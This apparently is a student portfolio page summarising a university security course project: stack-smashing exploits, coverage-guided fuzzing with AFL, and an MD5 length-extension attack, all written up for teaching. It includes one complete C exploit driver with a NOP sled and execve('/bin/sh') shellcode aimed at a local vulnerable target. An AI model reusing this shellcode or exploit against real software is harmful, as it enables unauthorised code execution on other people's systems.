Security engineering · UChicago coursework · Spring 2021
Hatchway
Three security exploits — stack-smashing, fuzzing, and hash length-extension.

Small enough to overlook is exactly wide enough to get through. A hatchway is a cut in a deck or floor, fitted with a hatch — the kind of opening you’d walk past without noticing. Three exercises in finding that kind of opening where it wasn’t meant to exist: an unchecked stack copy, a fuzzer’s blind knock on every branch, and a hash function that gives away more state than it should.
The stack work escalates one bug through three exploits: direct overwrite, a NOP-sled, an off-by-one. Fuzzing trades hand-crafted inputs for scale, finding crashes faster than review would. The hash work forges a valid hash for extended data without the secret key — only its length matters. Small in scope, not production code — built to demonstrate the mechanisms, not harden them.
The instrument

Three overflows, each one more constrained than the last
A bounds-free copy into a fixed buffer opens the door three different ways: overwrite the saved return address outright and point it straight at injected shellcode, pad the run-up with a NOP sled so an imprecise landing still slides into it, then do it again with only a single byte of slack beyond the buffer — just enough to redirect a saved pointer without ever touching the shellcode itself.

Fuzzing finds in minutes what review misses in hours
An instrumented binary, a seed corpus, and a coverage-guided fuzzer turn a black box into a target — new execution paths accumulate until one of them crashes. A better seed found nearly twice the unique crashes (12 vs. 7) over the same one-minute run.

A valid hash for a message whose key was never seen
MD5's block structure lets anyone holding one valid (message, hash) pair compute a new valid hash for that message plus an attacker- chosen suffix — without ever learning the secret prefix baked into the original message, only its length.
The movement
The engineering underneath
Same blind spot, three different shapes — an unchecked bound, an unfuzzed branch, a hash construction that carries forward more state than it should.
The off-by-one is the one that teaches the most
With the buffer exactly full, there's no room left for a NOP sled — the exploit has to know precisely where the shellcode landed and use its single spare byte to nudge just the low byte of a saved pointer until it points there instead. No slack left anywhere to be imprecise.
#define TARGET "/tmp/target2"
int main(void) {
char *args[] = { TARGET, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh\x90\x90\x90\x0c\xf5\xff\xbf\x3c", NULL };
char *env[] = { NULL };
execve(TARGET, args, env);
fprintf(stderr, "execve failed.\n");
return 0;
}A length-extension attack needs the padding, not the key
MD5 processes fixed-size blocks and appends a length field at the very end. Knowing a valid hash for message M is enough to reconstruct the internal state right after M's padded block — hashing can just continue from there onto an attacker-chosen suffix. The secret prefix never has to be recovered, only its length.
A weak seed still finds bugs, just fewer of them
Fuzzing the low-information seed "hello" against a well-chosen one, both for about a minute of wall-clock time, didn't fail outright — 137 paths and 12 unique crashes with the good seed, versus 93 paths and 7 with "hello." Weaker, not broken — underscoring how much of a fuzzer's power comes from where you point it, not just how long you let it run.
- Techniques
- Stack-smashing exploitation, coverage-guided fuzzing, hash length-extension
- Stack smashing
- Direct return-address overwrite, NOP-sled, single-byte off-by-one overwrite
- Fuzzing
- AFL with ASAN instrumentation, seed-quality comparison, crash and path counts
- Hash attack
- MD5 length-extension against a keyed integrity check
- Origin
- University of Chicago · CMSC 23200 (Introduction to Computer Security) · Spring 2021